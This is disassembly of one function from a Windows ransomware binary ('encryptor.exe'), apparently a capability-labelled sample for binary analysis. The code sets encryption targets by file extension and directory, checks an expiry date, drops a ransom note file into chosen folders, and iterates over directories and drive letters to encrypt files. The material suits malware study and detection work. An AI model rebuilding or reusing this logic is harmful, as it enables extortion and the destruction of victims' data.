Function at 0x14000309c
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x798
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x730], rcx
mov dword [rbp + 0x738], edx
mov qword [rbp + 0x6d8], 0
mov dword [rbp + 0x70c], 0
mov dword [rbp + 0x708], 0
mov dword [rbp + 0x704], 0
mov dword [rbp + 0x700], 0
mov qword [rbp + 0x6d0], 0
mov qword [rbp + 0x6c8], 0
mov dword [rbp + 0x6fc], 0
mov qword [rbp + 0x6c0], 0
mov dword [rbp - 0xc], 0
mov qword [rbp + 0x6b8], 0
mov qword [rbp + 0x6b0], 0
mov qword [rbp - 0x18], 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_win32_get_command_line]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sym._vala_array_length
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x698], eax
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x690], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x68c], eax
cmp dword [rbp + 0x68c], 2
jle 0x1400031b9
mov dword [rbp + 0x700], 1
jmp 0x14000320d
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x680], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x67c], eax
mov rax, qword [rbp + 0x680]
mov rax, qword [rax + 8]
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
lea rdx, [0x140014154]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x700], eax
cmp dword [rbp + 0x700], 0
je 0x140003222
mov dword [rbp + 0x704], 1
jmp 0x140003276
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x668], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x664], eax
mov rax, qword [rbp + 0x668]
mov rax, qword [rax + 8]
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
lea rdx, str.__help
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x704], eax
cmp dword [rbp + 0x704], 0
je 0x14000328b
mov dword [rbp + 0x708], 1
jmp 0x1400032df
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x650], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x64c], eax
mov rax, qword [rbp + 0x650]
mov rax, qword [rax + 8]
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
lea rdx, str._help
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x708], eax
cmp dword [rbp + 0x708], 0
je 0x1400032f4
mov dword [rbp + 0x70c], 1
jmp 0x140003348
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x638], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x634], eax
mov rax, qword [rbp + 0x638]
mov rax, qword [rax + 8]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
lea rdx, [0x140014164]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0x70c], eax
cmp dword [rbp + 0x70c], 0
je 0x140003481
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
lea r8, str.Usage:_n
lea rdx, [0x14001416f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
lea r8, str.__encryptor.exe_n
lea rdx, [0x14001416f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
lea r8, str._tStarts_encryption_with_embedded_settings_n
lea rdx, [0x14001416f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
lea r8, str.__encryptor.exe___full_path_of_directory_to_be_encrypted___n
lea rdx, [0x14001416f]
mov rcx, rax
call sym.fprintf
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
lea r8, str._tEncrypts_all_files_in_the_provided_directory_n
lea rdx, [0x14001416f]
mov rcx, rax
call sym.fprintf
mov eax, dword [rbp + 0x69c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x6d8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x6d8], 0
jmp 0x140004e7a
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov qword [0x140018030], rax
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x610], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x60c], eax
mov rax, qword [rbp + 0x610]
mov rax, qword [rax]
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sym.encryption_Initialize
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x5f8], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x5f4], eax
mov rax, qword [rbp + 0x5f8]
mov rax, qword [rax]
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sym.program_Initialize
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sym.settings_get_MinDate
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5c8]
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x5c0], rax
jle 0x1400035ae
mov dword [rbp + 0x6fc], 1
jmp 0x140003614
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.settings_get_MaxDate
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x5b8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x5a0], rax
setl al
movzx eax, al
mov dword [rbp + 0x6fc], eax
cmp dword [rbp + 0x6fc], 0
je 0x1400036d5
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0xf8]
lea r8, str.Expired_n
lea rdx, [0x14001416f]
mov rcx, rax
call sym.fprintf
cmp qword [rbp + 0x6c8], 0
je 0x14000367b
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x6c8], 0
cmp qword [rbp + 0x6d0], 0
je 0x1400036a3
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x6d0], 0
mov eax, dword [rbp + 0x69c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x6d8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x6d8], 0
jmp 0x140004e7a
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x598], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x594], eax
cmp dword [rbp + 0x594], 2
jne 0x14000380c
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x588]
mov edx, 1
mov rcx, rax
call sym.settings_set_IncludeDirectories
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x578], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x574], eax
mov rax, qword [rbp + 0x578]
mov rax, qword [rax + 8]
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x560], rax
mov edx, 8
mov ecx, 2
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x558]
mov rdx, qword [rbp + 0x560]
mov qword [rax], rdx
mov rax, qword [rbp + 0x558]
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x54c], 1
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x580]
mov r8d, 1
mov rcx, rax
call sym.settings_set_DirectorySet
mov eax, dword [rbp + 0x54c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x550]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x550], 0
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x540], rax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x53c], eax
mov rax, qword [rbp + 0x540]
mov rax, qword [rax]
mov qword [rbp + 0x530], rax
lea rdx, [rbp - 0xc]
mov rax, qword [rbp + 0x530]
mov rcx, rax
call sym.program_GetNoteBytes
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x6c0], rax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x524], eax
mov eax, dword [rbp + 0x524]
mov dword [rbp + 0x520], eax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x518], rax
mov rax, qword [rbp + 0x518]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x514], eax
mov eax, dword [rbp + 0x514]
mov dword [rbp + 0x510], eax
cmp dword [rbp + 0x510], 0
je 0x140003acb
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x20], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
mov dword [rbp - 0x2c], 0
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x4d0], rax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp + 0x4d0]
mov rcx, rax
call sym.settings_get_FastSet
mov qword [rbp + 0x4c8], rax
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0x4c4], eax
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x4b8], rax
mov eax, dword [rbp + 0x4c4]
mov dword [rbp + 0x4b4], eax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x4a8], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
call sym.settings_get_IntermittentSet
mov qword [rbp + 0x4a0], rax
mov eax, dword [rbp - 0x20]
mov dword [rbp + 0x49c], eax
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x490], rax
mov eax, dword [rbp + 0x49c]
mov dword [rbp + 0x48c], eax
mov r9d, dword [rbp + 0x48c]
mov r8, qword [rbp + 0x490]
mov edx, dword [rbp + 0x4b4]
mov rax, qword [rbp + 0x4b8]
lea rcx, [rbp - 0x24]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov qword [rbp + 0x478], rax
mov eax, dword [rbp - 0x24]
mov dword [rbp + 0x474], eax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x468], rax
lea rdx, [rbp - 0x28]
mov rax, qword [rbp + 0x468]
mov rcx, rax
call sym.settings_get_FullSet
mov qword [rbp + 0x460], rax
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0x45c], eax
mov rax, qword [rbp + 0x460]
mov qword [rbp + 0x450], rax
mov eax, dword [rbp + 0x45c]
mov dword [rbp + 0x44c], eax
mov edx, dword [rbp - 0x24]
mov r9d, dword [rbp + 0x44c]
mov r8, qword [rbp + 0x450]
mov rax, qword [rbp + 0x478]
lea rcx, [rbp - 0x2c]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x440], rax
mov rax, qword [rbp + 0x440]
mov qword [rbp + 0x438], rax
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0x434], eax
mov ecx, dword [rbp - 0x2c]
mov rdx, qword [rbp + 0x438]
mov rax, qword [rbp + 0x4d8]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov eax, dword [rbp + 0x434]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x438]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x438], 0
mov eax, dword [rbp + 0x474]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x478]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x478], 0
jmp 0x140003b4a
mov dword [rbp - 0x30], 0
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x500], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x500]
mov rcx, rax
call sym.settings_get_NoneSet
mov qword [rbp + 0x4f8], rax
mov eax, dword [rbp - 0x30]
mov dword [rbp + 0x4f4], eax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x4e8], rax
mov eax, dword [rbp + 0x4f4]
mov dword [rbp + 0x4e4], eax
mov ecx, dword [rbp + 0x4e4]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x508]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x428]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x424], eax
mov eax, dword [rbp + 0x424]
mov dword [rbp + 0x420], eax
cmp dword [rbp + 0x420], 0
je 0x140003be8
mov rax, qword [0x140018048]
test rax, rax
je 0x140003ba1
mov rdx, qword [0x140018048]
mov rax, qword [0x140018040]
mov rcx, rax
call rdx
mov qword [0x140018038], 0
mov qword [0x140018040], 0
mov qword [0x140018048], 0
lea rax, [sym.____lambda4__program_encrypt]
mov qword [0x140018038], rax
mov qword [0x140018040], 0
mov qword [0x140018048], 0
jmp 0x140003c4c
mov rax, qword [0x140018048]
test rax, rax
je 0x140003c07
mov rdx, qword [0x140018048]
mov rax, qword [0x140018040]
mov rcx, rax
call rdx
mov qword [0x140018038], 0
mov qword [0x140018040], 0
mov qword [0x140018048], 0
lea rax, [sym.____lambda5__program_encrypt]
mov qword [0x140018038], rax
mov qword [0x140018040], 0
mov qword [0x140018048], 0
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.settings_get_DropNoteInSpecificDirectories
mov dword [rbp + 0x414], eax
mov eax, dword [rbp + 0x414]
mov dword [rbp + 0x410], eax
cmp dword [rbp + 0x410], 0
je 0x1400042c8
mov dword [rbp + 0x6f8], 0
mov dword [rbp + 0x6f8], 0
mov dword [rbp + 0x6f4], 0
mov dword [rbp + 0x6f4], 1
mov dword [rbp - 0x34], 0
mov qword [rbp + 0x408], 0
mov dword [rbp - 0x38], 0
cmp dword [rbp + 0x6f4], 0
jne 0x140003ce5
add dword [rbp + 0x6f8], 1
mov eax, dword [rbp + 0x6f8]
mov dword [rbp + 0x404], eax
mov dword [rbp + 0x6f4], 0
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x3f8], rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x3f0], rax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x3ec], eax
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x3e0], rax
mov eax, dword [rbp + 0x3ec]
mov dword [rbp + 0x3dc], eax
mov eax, dword [rbp + 0x6f8]
cmp eax, dword [rbp + 0x3dc]
jge 0x1400042c7
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x3d0], rax
lea rdx, [rbp - 0x38]
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x3c8], rax
mov eax, dword [rbp - 0x38]
mov dword [rbp + 0x3c4], eax
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3b8], rax
mov eax, dword [rbp + 0x3c4]
mov dword [rbp + 0x3b4], eax
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x390], rax
mov rdx, qword [rbp + 0x390]
mov rax, qword [rbp + 0x3a8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_build_filename]
call rax
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_file_test]
call rax
test eax, eax
jne 0x1400042a4
mov qword [rbp + 0x378], 0
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
lea rdx, [0x140014140]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_fopen]
call rax
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x360], rax
cmp qword [rbp + 0x360], 0
jne 0x1400040c9
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x338]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov r8d, 0
mov rdx, rax
lea rax, str.____Could_not_create
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0x320], rax
call sym.error_type_quark
mov rdx, qword [rbp + 0x320]
mov r8, rdx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_error_new_literal]
call rax
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x310], rax
mov rax, qword [rbp + 0x320]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x320], 0
mov rax, qword [rbp + 0x310]
mov qword [rbp - 0x18], rax
cmp qword [rbp + 0x378], 0
je 0x140003f91
mov rax, qword [rbp + 0x378]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x378], 0
mov rax, qword [rbp - 0x18]
mov ebx, dword [rax]
call sym.error_type_quark
cmp ebx, eax
je 0x14000415e
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x408], 0
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x6c0], 0
cmp qword [rbp + 0x6c8], 0
je 0x140004008
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x6c8], 0
cmp qword [rbp + 0x6d0], 0
je 0x140004030
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x6d0], 0
mov eax, dword [rbp + 0x69c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x6d8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x6d8], 0
mov rax, qword [rbp - 0x18]
mov ebx, dword [rax + 4]
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp - 0x18]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x4e6
lea r9, str.C:_msys64_home_poco_main.vala.c
lea r8, str.file__s:_line__d:_unexpected_error:__s___s___d_
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
lea rax, [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140004e7a
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0x350], rax
mov eax, dword [rbp + 0x524]
mov dword [rbp + 0x34c], eax
mov eax, dword [rbp + 0x34c]
movsxd rdx, eax
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x350]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov rcx, rax
call sym.fflush
cmp qword [rbp + 0x378], 0
je 0x140004171
mov rax, qword [rbp + 0x378]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x378], 0
jmp 0x140004171
nop
lea rax, [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140004172
nop
mov rax, qword [rbp - 0x18]
test rax, rax
je 0x1400042a4
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x408], 0
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x6c0], 0
cmp qword [rbp + 0x6c8], 0
je 0x1400041e3
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x6c8], 0
cmp qword [rbp + 0x6d0], 0
je 0x14000420b
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x6d0], 0
mov eax, dword [rbp + 0x69c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x6d8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x6d8], 0
mov rax, qword [rbp - 0x18]
mov ebx, dword [rax + 4]
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp - 0x18]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x4fe
lea r9, str.C:_msys64_home_poco_main.vala.c
lea r8, [0x1400140e0]
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
lea rax, [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140004e7a
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x408], 0
jmp 0x140003cb0
nop
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x308], rax
mov rax, qword [rbp + 0x308]
mov rcx, rax
call sym.settings_get_IncludeDirectories
mov dword [rbp + 0x304], eax
mov eax, dword [rbp + 0x304]
mov dword [rbp + 0x300], eax
cmp dword [rbp + 0x300], 0
je 0x140004483
mov dword [rbp + 0x6f0], 0
mov dword [rbp + 0x6f0], 0
mov dword [rbp + 0x6ec], 0
mov dword [rbp + 0x6ec], 1
mov dword [rbp - 0x3c], 0
mov dword [rbp - 0x40], 0
cmp dword [rbp + 0x6ec], 0
jne 0x140004356
add dword [rbp + 0x6f0], 1
mov eax, dword [rbp + 0x6f0]
mov dword [rbp + 0x1b8], eax
mov dword [rbp + 0x6ec], 0
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp - 0x3c]
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x1a8], rax
mov eax, dword [rbp - 0x3c]
mov dword [rbp + 0x1a4], eax
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x198], rax
mov eax, dword [rbp + 0x1a4]
mov dword [rbp + 0x194], eax
mov eax, dword [rbp + 0x6f0]
cmp eax, dword [rbp + 0x194]
jge 0x140004c62
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x188], rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x180], rax
mov eax, dword [rbp - 0x40]
mov dword [rbp + 0x17c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x170], rax
mov eax, dword [rbp + 0x17c]
mov dword [rbp + 0x16c], eax
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x170]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0x150], rax
mov eax, dword [rbp + 0x524]
mov dword [rbp + 0x14c], eax
mov r8d, dword [rbp + 0x14c]
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp + 0x158]
mov rax, qword [rbp + 0x160]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.program_Iterate
jmp 0x14000432c
mov qword [rbp + 0x2f8], 0
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2f0], rax
lea rax, [0x140014248]
mov qword [rbp], rax
mov rax, qword [rbp]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e8], rax
lea rax, [0x14001424a]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e0], rax
lea rax, [0x14001424c]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d8], rax
lea rax, [0x14001424e]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d0], rax
lea rax, [0x140014250]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c8], rax
lea rax, [0x140014252]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
